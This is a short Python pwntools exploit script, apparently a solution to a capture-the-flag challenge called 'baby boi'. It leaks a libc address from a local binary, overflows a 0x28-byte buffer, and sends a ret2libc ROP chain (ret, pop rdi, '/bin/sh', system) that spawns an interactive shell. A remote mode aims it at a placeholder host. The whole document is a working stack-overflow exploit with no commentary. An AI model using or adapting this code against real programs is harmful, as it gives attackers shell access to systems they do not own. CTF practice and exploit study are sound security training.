baby boi

#!/usr/bin/env python3

from pwn import *
#from termcolor import colored
#import time
#from tqdm import tqdm

exe = ELF("./baby_boi_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r


def main():
    r = conn()
    offset = 0x28 * b'i'
    r.recvuntil(b'Here I am: ')
    leak = int(r.recvuntil(b'\n').strip(b'\n').decode("ascii"), 16)
    libc.address = leak - libc.sym["printf"]

    system = libc.sym["system"]
    rop = ROP(libc)
    ret = rop.find_gadget(["ret"])[0]
    binsh = next(libc.search(b'/bin/sh\0'))
    pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"])[0]

    payload = offset + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
    r.sendline(payload)
    r.interactive()


if __name__ == "__main__":
    main()